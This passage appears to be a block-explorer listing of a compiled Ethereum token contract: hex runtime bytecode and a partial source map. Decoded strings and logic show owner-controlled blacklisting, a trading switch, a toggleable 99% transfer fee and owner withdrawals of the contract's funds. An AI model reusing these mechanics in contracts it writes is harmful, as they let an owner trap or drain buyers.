27f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201526c3530302061646472657373657360981b6064820152608401610be5565b8281146113575760405162461bcd60e51b815260206004820152602860248201527f4d69736d61746368206265747765656e204164647265737320616e6420746f6b604482015267195b8818dbdd5b9d60c21b6064820152608401610be5565b6000805b8481101561139b5783838281811061137557611375612f64565b90506020020135826113879190612fcb565b91508061139381612f90565b91505061135b565b50806113bc876001600160a01b031660009081526008602052604090205490565b101561140a5760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c657400000000006044820152606401610be5565b60005b848110156114715761145e8787878481811061142b5761142b612f64565b90506020020160208101906114409190612e5a565b86868581811061145257611452612f64565b90506020020135611ff7565b508061146981612f90565b91505061140d565b50505050505050565b6000546001600160a01b031633146114a45760405162461bcd60e51b8152600401610be590612fab565b47336108fc60646114b5858561301a565b6114bf9190613039565b6040518115909202916000818181858888f193505050501580156114e7573d6000803e3d6000fd5b505050565b6001600160a01b038316600090815260096020908152604080832033845290915281205460001914611599576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526009825283812033825290915291909120546115749184906120cb565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b6115a4848484612105565b90505b9392505050565b6004546001600160a01b03166000908152600860205260408120546115fb906003546001600160a01b03166000908152600860205260409020546115f5906005549061250a565b9061250a565b905090565b61160933611f18565b6116255760405162461bcd60e51b8152600401610be590612efa565b6101f582106116465760405162461bcd60e51b8152600401610be590612f1f565b60005b82811015610c7e5781600f600086868581811061166857611668612f64565b905060200201602081019061167d9190612e5a565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556116ae81612f90565b9050611649565b600061108782600019611020565b6116cc33611f18565b6116e85760405162461bcd60e51b8152600401610be590612efa565b6103e86005546116f89190613039565b8110156117175760405162461bcd60e51b8152600401610be59061305b565b600655565b61172533611f18565b6117415760405162461bcd60e51b8152600401610be590612efa565b6017829055601883905560198190556016546101419061176890606490610f129087611f36565b106117855760405162461bcd60e51b8152600401610be590612fe3565b6101416117a46064610f12601754601654611f3690919063ffffffff16565b106114e75760405162461bcd60e51b8152600401610be590612fe3565b600080546001600160a01b031633146117ec5760405162461bcd60e51b8152600401610be590612fab565b8161185c576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015611835573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061185991906130a4565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af11580156118a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a791906130bd565b6000546001600160a01b031633146118f75760405162461bcd60e51b8152600401610be590612fab565b30600090815260086020526040812054906119176064610f128486611f36565b9050610c7e303383611ff7565b6000546001600160a01b0316331461194e5760405162461bcd60e51b8152600401610be590612fab565b60c982106119ac5760405162461bcd60e51b815260206004820152602560248201527f474153204572726f723a206d6178206c696d6974206973203230302061646472604482015264657373657360d81b6064820152608401610be5565b8015611a1a57602054600160a81b900460ff16611a1a5760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f74206d616e75616c6c7920626c61636b6c697374206166746572206044820152650d8c2eadcc6d60d31b6064820152608401610be5565b60005b82811015610c7e5781600b6000868685818110611a3c57611a3c612f64565b9050602002016020810190611a519190612e5a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055611a8281612f90565b9050611a1d565b6000546001600160a01b03163314611ab35760405162461bcd60e51b8152600401610be590612fab565b80630756b5b314611af95760405162461bcd60e51b815260206004820152601060248201526f4163636964656e74616c20507265737360801b6044820152606401610be5565b602054600160a01b900460ff16611b6a5760405162461bcd60e51b815260206004820152602f60248201527f43616e7420636c6f7365206c61756e6368206d6f6465207768656e207472616460448201526e1a5b99c81a5cc8191a5cd8589b1959608a1b6064820152608401610be5565b506020805460ff60a81b19169055565b60006115a7338484612105565b6000546001600160a01b03163314611bb15760405162461bcd60e51b8152600401610be590612fab565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b6000546001600160a01b03163314611c025760405162461bcd60e51b8152600401610be590612fab565b6001811015611c235760405162461bcd60e51b8152600401610be59061305b565b6103e881600554611c34919061301a565b611c3e9190613039565b60065550565b6000546001600160a01b03163314611c6e5760405162461bcd60e51b8152600401610be590612fab565b60208054921515600160b01b0260ff60b01b1990931692909217909155602155565b6000546001600160a01b03163314611cba5760405162461bcd60e51b8152600401610be590612fab565b6032811115611cfc5760405162461bcd60e51b815260206004820152600e60248201526d13585e080d4948185b1b1bddd95960921b6044820152606401610be5565b6020805460ff60b01b1916600160b01b841515021790556005546103e890611d2590839061301a565b611d2f9190613039565b6021555050565b6000546001600160a01b03163314611d605760405162461bcd60e51b8152600401610be590612fab565b600c805460ff1916911515919091179055565b6000546001600160a01b03163314611d9d5760405162461bcd60e51b8152600401610be590612fab565b6000546001600160a01b0382811691161415611dfb5760405162461bcd60e51b815260206004820152601a60248201527f4f574e45522063616e7420626520756e617574686f72697a65640000000000006044820152606401610be5565b6001600160a01b03166000908152600160205260409020805460ff19169055565b6000546001600160a01b03163314611e465760405162461bcd60e51b8152600401610be590612fab565b6000546001600160a01b0382811691161415611e985760405162461bcd60e51b815260206004820152601160248201527020b63932b0b23c903a34329037bbb732b960791b6044820152606401610be5565b600080546001600160a01b039081168252600160208181526040808520805460ff1990811690915585546001600160a01b0319169487169485178655848652948190208054909516909217909355519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163910160405180910390a150565b6001600160a01b031660009081526001602052604090205460ff1690565b600082611f4557506000611087565b6000611f51838561301a565b905082611f5e8583613039565b146115a75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610be5565b60006115a783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061254c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526008909152918220546120489184906120cb565b6001600160a01b038086166000908152600860205260408082209390935590851681522054612077908361257a565b6001600160a01b038085166000818152600860205260409081902093909355915190861690600080516020613191833981519152906120b99086815260200190565b60405180910390a35060019392505050565b600081848411156120ef5760405162461bcd60e51b8152600401610be59190612c76565b5060006120fc84866130da565b95945050505050565b60225460009060ff16156121255761211e848484611ff7565b90506115a7565b6001600160a01b03841660009081526001602052604090205460ff1615801561216757506001600160a01b03831660009081526001602052604090205460ff16155b156121bc57602054600160a01b900460ff166121bc5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b6044820152606401610be5565b600a5460ff1680156121dc57506003546001600160a01b03848116911614155b15612238576001600160a01b0384166000908152600b602052604090205460ff16156122385760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b6044820152606401610be5565b6001600160a01b03841660009081526001602052604090205460ff1615801561227a57506001600160a01b03841660009081526010602052604090205460ff16155b801561229f57506001600160a01b03831660009081526010602052604090205460ff16155b80156122b957506020546001600160a01b03848116911614155b1561233957600754826122e1856001600160a01b031660009081526008602052604090205490565b6122eb9190612fcb565b11156123395760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d6974207265616368656400000000000000006044820152606401610be5565b6006548211158061236257506001600160a01b0384166000908152600f602052604090205460ff165b8061238557506001600160a01b0383166000908152600f602052604090205460ff165b6123c55760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610be5565b6123cd6125d9565b156123da576123da61262f565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526008909152919091205461242c9184906120cb565b6001600160a01b038516600090815260086020908152604080832093909355600e90529081205460ff168061247957506001600160a01b0384166000908152600e602052604090205460ff165b61248d57612488858486612990565b61248f565b825b6001600160a01b0385166000908152600860205260409020549091506124b5908261257a565b6001600160a01b038086166000818152600860205260409081902093909355915190871690600080516020613191833981519152906124f79085815260200190565b60405180910390a3506001949350505050565b60006115a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120cb565b6000818361256d5760405162461bcd60e51b8152600401610be59190612c76565b5060006120fc8486613039565b6000806125878385612fcb565b9050838110156115a75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610be5565b6020546000906001600160a01b031633148015906125fa575060225460ff16155b801561260f5750602054600160b01b900460ff165b80156115fb57505060215430600090815260086020526040902054101590565b6022805460ff1916600117905560165460115460215460009261265c92600292610f129291839190611f36565b905060006126758260215461250a90919063ffffffff16565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106126af576126af612f64565b6001600160a01b0392831660209182029290920101526002548251911690829060019081106126e0576126e0612f64565b6001600160a01b039283166020918202929092010152601f5460405163791ac94760e01b815291169063791ac947906127269085906000908690309042906004016130f1565b600060405180830381600087803b15801561274057600080fd5b505af1158015612754573d6000803e3d6000fd5b5050601154479250600091506127789061276f906002611fb5565b6016549061250a565b9050600061279a6002610f1284610f1260115488611f3690919063ffffffff16565b905060006127b783610f1260125487611f3690919063ffffffff16565b905060006127d484610f1260135488611f3690919063ffffffff16565b905060006127f185610f1260145489611f3690919063ffffffff16565b601b546040519192506001600160a01b03169084156108fc029085906000818181858888f1935050505015801561282c573d6000803e3d6000fd5b50601c546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015612867573d6000803e3d6000fd5b50601e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156128a2573d6000803e3d6000fd5b50881561297b57601f54601a5460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990869060c40160606040518083038185885af1158015612919573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061293e9190613162565b505060408051868152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506022805460ff1916905550505050505050565b601954602054600091906001600160a01b03848116911614156129b657506017546129d1565b6020546001600160a01b03868116911614156129d157506018545b6000612a006129e160648061301a565b610f12846129fa6016548a611f3690919063ffffffff16565b90611f36565b600c5490915060ff168015612a2e57506001600160a01b0384166000908152600d602052604090205460ff16155b15612a4657612a436064610f12876063611f36565b90505b6000612a63601654610f1260155485611f3690919063ffffffff16565b90506000612a71838361250a565b90508015612adb5730600090815260086020526040902054612a93908261257a565b30600081815260086020526040908190209290925590516001600160a01b038a169060008051602061319183398151915290612ad29085815260200190565b60405180910390a35b8115612b5457601d546001600160a01b0316600090815260086020526040902054612b06908361257a565b601d80546001600160a01b03908116600090815260086020908152604091829020949094559154915185815291811692908b1691600080516020613191833981519152910160405180910390a35b612b5e878461250a565b98975050505050505050565b60008083601f840112612b7c57600080fd5b50813567ffffffffffffffff811115612b9457600080fd5b6020830191508360208260051b8501011115612baf57600080fd5b9250929050565b8015158114612bc457600080fd5b50565b600080600060408486031215612bdc57600080fd5b833567ffffffffffffffff811115612bf357600080fd5b612bff86828701612b6a565b9094509250506020840135612c1381612bb6565b809150509250925092565b600060208284031215612c3057600080fd5b81356115a781612bb6565b600080600080600060a08688031215612c5357600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b600060208083528351808285015260005b81811015612ca357858101830151858201604001528201612c87565b81811115612cb5576000604083870101525b50601f01601f1916929092016040019392505050565b600060208284031215612cdd57600080fd5b5035919050565b6001600160a01b0381168114612bc457600080fd5b60008060408385031215612d0c57600080fd5b8235612d1781612ce4565b946020939093013593505050565b600080600080600060a08688031215612d3d57600080fd5b8535612d4881612ce4565b94506020860135612d5881612ce4565b93506040860135612d6881612ce4565b92506060860135612d7881612ce4565b91506080860135612d8881612ce4565b809150509295509295909350565b600080600080600060608688031215612dae57600080fd5b8535612db981612ce4565b9450602086013567ffffffffffffffff80821115612dd657600080fd5b612de289838a01612b6a565b90965094506040880135915080821115612dfb57600080fd5b50612e0888828901612b6a565b969995985093965092949392505050565b600080600060608486031215612e2e57600080fd5b8335612e3981612ce4565b92506020840135612e4981612ce4565b929592945050506040919091013590565b600060208284031215612e6c57600080fd5b81356115a781612ce4565b600080600060608486031215612e8c57600080fd5b505081359360208301359350604090920135919050565b60008060408385031215612eb657600080fd5b8235612ec181612ce4565b91506020830135612ed181612ce4565b809150509250929050565b60008060408385031215612eef57600080fd5b8235612d1781612bb6565b6020808252600b908201526a085055551213d49256915160aa1b604082015260600190565b60208082526025908201527f474153204572726f723a206d6178206c696d6974206973203530302061646472604082015264657373657360d81b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415612fa457612fa4612f7a565b5060010190565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60008219821115612fde57612fde612f7a565b500190565b6020808252601b908201527f5461782063616e6e6f74206265206d6f7265207468616e203332250000000000604082015260600190565b600081600019048311821515161561303457613034612f7a565b500290565b60008261305657634e487b7160e01b600052601260045260246000fd5b500490565b60208082526029908201527f43616e6e6f7420736574206d6178207472616e73616374696f6e206c657373206040820152687468616e20302e312560b81b606082015260800190565b6000602082840312156130b657600080fd5b5051919050565b6000602082840312156130cf57600080fd5b81516115a781612bb6565b6000828210156130ec576130ec612f7a565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156131415784516001600160a01b03168352938301939183019160010161311c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561317757600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220547bf291bbfebaf3dbacd1489c26369d94fee8f80ba5ef2cbe820e7df025a5be64736f6c634300080c0033
Deployed ByteCode Sourcemap
4110:16133:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17421:309;;;;;;;;;;-1:-1:-1;17421:309:0;;;;;:::i;:::-;;:::i;:::-;;16811:293;;;;;;;;;;-1:-1:-1;16811:293:0;;;;;:::i;:::-;;:::i;15844:227::-;;;;;;;;;;-1:-1:-1;15844:227:0;;;;;:::i;:::-;;:::i;5933:50::-;;;;;;;;;;;;;;;;;;;1472:25:1;;;1460:2;1445:18;5933:50:0;;;;;;;;16593:210;;;;;;;;;;-1:-1:-1;16593:210:0;;;;;:::i;:::-;;:::i;17738:613::-;;;;;;;;;;-1:-1:-1;17738:613:0;;;;;:::i;:::-;;:::i;7555:80::-;;;;;;;;;;-1:-1:-1;7627:5:0;;;;;;;;;;;;-1:-1:-1;;;7627:5:0;;;;7555:80;;;;;;;:::i;8873:262::-;;;;;;;;;;-1:-1:-1;8873:262:0;;;;;:::i;:::-;;:::i;7977:216::-;;;;;;;;;;-1:-1:-1;7977:216:0;;;;;:::i;:::-;;:::i;:::-;;;3375:14:1;;3368:22;3350:41;;3338:2;3323:18;7977:216:0;3210:187:1;13805:207:0;;;;;;;;;;-1:-1:-1;13805:207:0;;;;;:::i;:::-;;:::i;5683:33::-;;;;;;;;;;-1:-1:-1;5683:33:0;;;;-1:-1:-1;;;;;5683:33:0;;;;;;-1:-1:-1;;;;;3566:32:1;;;3548:51;;3536:2;3521:18;5683:33:0;3402:203:1;5395:44:0;;;;;;;;;;;;5436:3;5395:44;;7285:88;;;;;;;;;;-1:-1:-1;7358:12:0;;7285:88;;18359:572;;;;;;;;;;-1:-1:-1;18359:572:0;;;;;:::i;:::-;;:::i;19510:665::-;;;;;;;;;;-1:-1:-1;19510:665:0;;;;;:::i;:::-;;:::i;12583:207::-;;;;;;;;;;-1:-1:-1;12583:207:0;;;;;:::i;:::-;;:::i;5300:88::-;;;;;;;;;;;;;;;;8495:370;;;;;;;;;;-1:-1:-1;8495:370:0;;;;;:::i;:::-;;:::i;19362:142::-;;;;;;;;;;;;;:::i;2809:103::-;;;;;;;;;;-1:-1:-1;2809:103:0;;;;;:::i;:::-;2864:4;2899:5;-1:-1:-1;;;;;2888:16:0;;;2899:5;;2888:16;;2809:103;7379:80;;;;;;;;;;-1:-1:-1;7379:80:0;;4487:1;6196:36:1;;6184:2;6169:18;7379:80:0;6054:184:1;4919:46:0;;;;;;;;;;-1:-1:-1;4919:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5196:29;;;;;;;;;;;;;;;;17112:301;;;;;;;;;;-1:-1:-1;17112:301:0;;;;;:::i;:::-;;:::i;8201:122::-;;;;;;;;;;-1:-1:-1;8201:122:0;;;;;:::i;:::-;;:::i;9412:189::-;;;;;;;;;;-1:-1:-1;9412:189:0;;;;;:::i;:::-;;:::i;5232:25::-;;;;;;;;;;;;;;;;5158:31;;;;;;;;;;;;;;;;13386:388;;;;;;;;;;-1:-1:-1;13386:388:0;;;;;:::i;:::-;;:::i;5896:30::-;;;;;;;;;;-1:-1:-1;5896:30:0;;;;-1:-1:-1;;;5896:30:0;;;;;;7725:105;;;;;;;;;;-1:-1:-1;7725:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;7809:18:0;7791:7;7809:18;;;:9;:18;;;;;;;7725:105;4880:32;;;;;;;;;;-1:-1:-1;4880:32:0;;;;;;;;13094:284;;;;;;;;;;-1:-1:-1;13094:284:0;;;;;:::i;:::-;;:::i;4611:51::-;;;;;;;;;;;;;;;;12798:288;;;;;;;;;;-1:-1:-1;12798:288:0;;;;;:::i;:::-;;:::i;4556:48::-;;;;;;;;;;;;;;;;5643:33;;;;;;;;;;-1:-1:-1;5643:33:0;;;;-1:-1:-1;;;;;5643:33:0;;;7641:78;;;;;;;;;;-1:-1:-1;7693:7:0;7711:5;-1:-1:-1;;;;;7711:5:0;7641:78;;4786:32;;;;;;;;;;-1:-1:-1;4786:32:0;;;;;;;;16077:401;;;;;;;;;;-1:-1:-1;16077:401:0;;;;;:::i;:::-;;:::i;7465:84::-;;;;;;;;;;-1:-1:-1;7539:7:0;;;;;;;;;;;;-1:-1:-1;;;7539:7:0;;;;7465:84;;5120:31;;;;;;;;;;;;;;;;14020:264;;;;;;;;;;-1:-1:-1;14020:264:0;;;;;:::i;:::-;;:::i;5792:19::-;;;;;;;;;;-1:-1:-1;5792:19:0;;;;-1:-1:-1;;;;;5792:19:0;;;8331:156;;;;;;;;;;-1:-1:-1;8331:156:0;;;;;:::i;:::-;;:::i;5858:29::-;;;;;;;;;;-1:-1:-1;5858:29:0;;;;-1:-1:-1;;;5858:29:0;;;;;;2540:94;;;;;;;;;;-1:-1:-1;2540:94:0;;;;;:::i;:::-;;:::i;9141:263::-;;;;;;;;;;-1:-1:-1;9141:263:0;;;;;:::i;:::-;;:::i;5558:36::-;;;;;;;;;;-1:-1:-1;5558:36:0;;;;-1:-1:-1;;;;;5558:36:0;;;5723:29;;;;;;;;;;-1:-1:-1;5723:29:0;;;;-1:-1:-1;;;;;5723:29:0;;;5264;;;;;;;;;;;;;;;;7836:133;;;;;;;;;;-1:-1:-1;7836:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;7938:19:0;;;7920:7;7938:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;7836:133;18939:155;;;;;;;;;;-1:-1:-1;18939:155:0;;;;;:::i;:::-;;:::i;19102:252::-;;;;;;;;;;-1:-1:-1;19102:252:0;;;;;:::i;:::-;;:::i;16486:99::-;;;;;;;;;;-1:-1:-1;16486:99:0;;;;;:::i;:::-;;:::i;5601:35::-;;;;;;;;;;-1:-1:-1;5601:35:0;;;;-1:-1:-1;;;;;5601:35:0;;;2642:159;;;;;;;;;;-1:-1:-1;2642:159:0;;;;;:::i;:::-;;:::i;3035:266::-;;;;;;;;;;-1:-1:-1;3035:266:0;;;;;:::i;:::-;;:::i;5761:24::-;;;;;;;;;;-1:-1:-1;5761:24:0;;;;-1:-1:-1;;;;;5761:24:0;;;4825:46;;;;;;;;;;-1:-1:-1;4825:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;2920:107;;;;;;;;;;-1:-1:-1;2920:107:0;;;;;:::i;:::-;;:::i;5820:31::-;;;;;;;;;;-1:-1:-1;5820:31:0;;;;-1:-1:-1;;;5820:31:0;;;;;;17421:309;2481:24;2494:10;2481:12;:24::i;:::-;2473:48;;;;-1:-1:-1;;;2473:48:0;;;;;;;:::i;:::-;;;;;;;;;17556:3:::1;17537:22:::0;::::1;17529:71;;;;-1:-1:-1::0;;;17529:71:0::1;;;;;;;:::i;:::-;17616:9;17611:112;17627:20:::0;;::::1;17611:112;;;17705:6;17669:19;:33;17689:9;;17699:1;17689:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;17669:33:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;17669:33:0;:42;;-1:-1:-1;;17669:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17649:3:::1;::::0;::::1;:::i;:::-;;;17611:112;;;;17421:309:::0;;;:::o;16811:293::-;2481:24;2494:10;2481:12;:24::i;:::-;2473:48;;;;-1:-1:-1;;;2473:48:0;;;;;;;:::i;:::-;16938:3:::1;16919:22:::0;::::1;16911:71;;;;-1:-1:-1::0;;;16911:71:0::1;;;;;;;:::i;:::-;16998:9;16993:104;17009:20:::0;;::::1;16993:104;;;17079:6;17051:11;:25;17063:9;;17073:1;17063:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;17051:25:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;17051:25:0;:34;;-1:-1:-1;;17051:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17031:3:::1;::::0;::::1;:::i;:::-;;;16993:104;;15844:227:::0;2864:4;2899:5;-1:-1:-1;;;;;2899:5:0;2399:10;2888:16;2383:38;;;;-1:-1:-1;;;2383:38:0;;;;;;;:::i;:::-;15924:7:::1;15921:109;;;15955:10;::::0;-1:-1:-1;;;15955:10:0;::::1;;;15947:71;;;::::0;-1:-1:-1;;;15947:71:0;;9443:2:1;15947:71:0::1;::::0;::::1;9425:21:1::0;9482:2;9462:18;;;9455:30;9521:34;9501:18;;;9494:62;-1:-1:-1;;;9572:18:1;;;9565:47;9629:19;;15947:71:0::1;9241:413:1::0;15947:71:0::1;16040:13;:23:::0;;-1:-1:-1;;16040:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15844:227::o;16593:210::-;2864:4;2899:5;-1:-1:-1;;;;;2899:5:0;2399:10;2888:16;2383:38;;;;-1:-1:-1;;;2383:38:0;;;;;;;:::i;:::-;16695:9:::1;16690:106;16706:20:::0;;::::1;16690:106;;;16778:6;16748:13;:27;16762:9;;16772:1;16762:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16748:27:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;16748:27:0;:36;;-1:-1:-1;;16748:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16728:3:::1;::::0;::::1;:::i;:::-;;;16690:106;;17738:613:::0;2864:4;2899:5;-1:-1:-1;;;;;2899:5:0;2399:10;2888:16;2383:38;;;;-1:-1:-1;;;2383:38:0;;;;;;;:::i;:::-;17891:12:::1;:28:::0;;;17930:12:::1;:28:::0;;;17969:10:::1;:24:::0;;;18004:6:::1;:16:::0;;;18031:10:::1;:24:::0;;;18013:7;18044:11;17982;18077:29:::1;17945:13:::0;17906;18077:29:::1;:::i;:::-;:43;;;;:::i;:::-;:57;;;;:::i;:::-;:67;;;;:::i;:::-;18066:8;:78:::0;;;18186:13:::1;::::0;18212:3:::1;::::0;18173:36:::1;::::0;18205:3:::1;::::0;18173:27:::1;::::0;:12:::1;:27::i;:::-;:31:::0;::::1;:36::i;:::-;:42;18165:82;;;;-1:-1:-1::0;;;18165:82:0::1;;;;;;;:::i;:::-;18306:3;18266:37;18299:3;18266:28;18279:14;;18266:8;;:12;;:28;;;;:::i;:37::-;:43;18258:83;;;;-1:-1:-1::0;;;18258:83:0::1;;;;;;;:::i;:::-;17738:613:::0;;;;;:::o;8873:262::-;2864:4;2899:5;-1:-1:-1;;;;;2899:5:0;2399:10;2888:16;2383:38;;;;-1:-1:-1;;;2383:38:0;;;;;;;:::i;:::-;9009:1:::1;8982:23;:28;;8974:76;;;::::0;-1:-1:-1;;;8974:76:0;;10350:2:1;8974:76:0::1;::::0;::::1;10332:21:1::0;10389:2;10369:18;;;10362:30;10428:34;10408:18;;;10401:62;-1:-1:-1;;;10479:18:1;;;10472:34;10523:19;;8974:76:0::1;10148:400:1::0;8974:76:0::1;9123:4;9095:23;9080:12;;:38;;;;:::i;:::-;9079:48;;;;:::i;:::-;9061:15;:66:::0;-1:-1:-1;8873:262:0:o;7977:216::-;8081:10;8052:4;8069:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;8069:32:0;;;;;;;;;;:41;;;8126:37;8052:4;;8069:32;;8126:37;;;;8104:6;1472:25:1;;1460:2;1445:18;;1326:177;8126:37:0;;;;;;;;-1:-1:-1;8181:4:0;7977:216;;;;;:::o;13805:207::-;2864:4;2899:5;-1:-1:-1;;;;;2899:5:0;2399:10;2888:16;2383:38;;;;-1:-1:-1;;;2383:38:0;;;;;;;:::i;:::-;13876:7:::1;13872:101;;13907:10;::::0;-1:-1:-1;;;13907:10:0;::::1;;;13899:62;;;::::0;-1:-1:-1;;;13899:62:0;;11150:2:1;13899:62:0::1;::::0;::::1;11132:21:1::0;11189:2;11169:18;;;11162:30;11228:34;11208:18;;;11201:62;-1:-1:-1;;;11279:18:1;;;11272:38;11327:19;;13899:62:0::1;10948:404:1::0;13899:62:0::1;13983:11;:21:::0;;;::::1;;-1:-1:-1::0;;;13983:21:0::1;-1:-1:-1::0;;;;13983:21:0;;::::1;::::0;;;::::1;::::0;;13805:207::o;18359:572::-;2864:4;2899:5;-1:-1:-1;;;;;2899:5:0;2399:10;2888:16;2383:38;;;;-1:-1:-1;;;2383:38:0;;;;;;;:::i;:::-;18560:21:::1;:46:::0;;-1:-1:-1;;;;;18560:46:0;;::::1;-1:-1:-1::0;;;;;;18560:46:0;;::::1;;::::0;;;18617:20:::1;:44:::0;;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;18688:18:::1;::::0;;;::::1;18560:21;18674:33:::0;;;:13:::1;:33;::::0;;;;;:41;;-1:-1:-1;;18674:41:0;;::::1;::::0;;;18726:40;;;;::::1;::::0;;::::1;::::0;::::1;::::0;;;18777:33;;;;;;;:40;;;;::::1;18560:46:::0;18777:40:::1;::::0;;;18830:18:::1;:40:::0;;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;18881:14:::1;:32:::0;;;;;::::1;::::0;::::1;;::::0;;18359:572::o;19510:665::-;2864:4;2899:5;-1:-1:-1;;;;;2899:5:0;2399:10;2888:16;2383:38;;;;-1:-1:-1;;;2383:38:0;;;;;;;:::i;:::-;19638:10:::1;::::0;-1:-1:-1;;;19638:10:0;::::1;;;19630:62;;;::::0;-1:-1:-1;;;19630:62:0;;11559:2:1;19630:62:0::1;::::0;::::1;11541:21:1::0;11598:2;11578:18;;;11571:30;11637:34;11617:18;;;11610:62;-1:-1:-1;;;11688:18:1;;;11681:38;11736:19;;19630:62:0::1;11357:404:1::0;19630:62:0::1;19728:3;19709:22:::0;::::1;19701:79;;;::::0;-1:-1:-1;;;19701:79:0;;11968:2:1;19701:79:0::1;::::0;::::1;11950:21:1::0;12007:2;11987:18;;;11980:30;12046:34;12026:18;;;12019:62;-1:-1:-1;;;12097:18:1;;;12090:43;12150:19;;19701:79:0::1;11766:409:1::0;19701:79:0::1;19795:33:::0;;::::1;19787:85;;;::::0;-1:-1:-1;;;19787:85:0;;12382:2:1;19787:85:0::1;::::0;::::1;12364:21:1::0;12421:2;12401:18;;;12394:30;12460:34;12440:18;;;12433:62;-1:-1:-1;;;12511:18:1;;;12504:38;12559:19;;19787:85:0::1;12180:404:1::0;19787:85:0::1;19881:12;19910:6:::0;19906:82:::1;19920:20:::0;;::::1;19906:82;;;19971:6;;19978:1;19971:9;;;;;;;:::i;:::-;;;;;;;19964:4;:16;;;;:::i;:::-;19957:23:::0;-1:-1:-1;19942:3:0;::::1;::::0;::::1;:::i;:::-;;;;19906:82;;;;20023:4;20004:15;20014:4;-1:-1:-1::0;;;;;7809:18:0;7791:7;7809:18;;;:9;:18;;;;;;;7725:105;20004:15:::1;:23;;19996:63;;;::::0;-1:-1:-1;;;19996:63:0;;12791:2:1;19996:63:0::1;::::0;::::1;12773:21:1::0;12830:2;12810:18;;;12803:30;12869:29;12849:18;;;12842:57;12916:18;;19996:63:0::1;12589:351:1::0;19996:63:0::1;20072:6;20068:102;20082:20:::0;;::::1;20068:102;;;20119:43;20134:4;20139:9;;20149:1;20139:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;20152:6;;20159:1;20152:9;;;;;;;:::i;:::-